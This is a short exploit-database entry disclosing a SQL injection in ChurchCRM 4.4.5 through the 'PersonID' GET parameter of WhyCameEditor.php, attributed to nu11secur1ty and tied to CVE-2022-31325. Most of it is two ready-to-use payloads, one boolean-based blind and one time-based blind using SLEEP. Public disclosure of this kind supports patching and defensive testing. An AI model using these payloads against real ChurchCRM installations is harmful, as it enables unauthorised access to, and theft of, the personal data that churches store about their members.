ChurchCRM 4.4.5 - SQL injection Vulnerability

# Exploit Title: ChurchCRM 4.4.5 - SQLi
# Exploit Author: nu11secur1ty
# Vendor: https://churchcrm.io/
# Software: https://github.com/ChurchCRM/CRM
# Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325

## Description:
There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php.

[+] Payloads:

```mysql
---
Parameter: PersonID (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE
(SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PersonID=1 AND (SELECT 7116 FROM
(SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=
---

```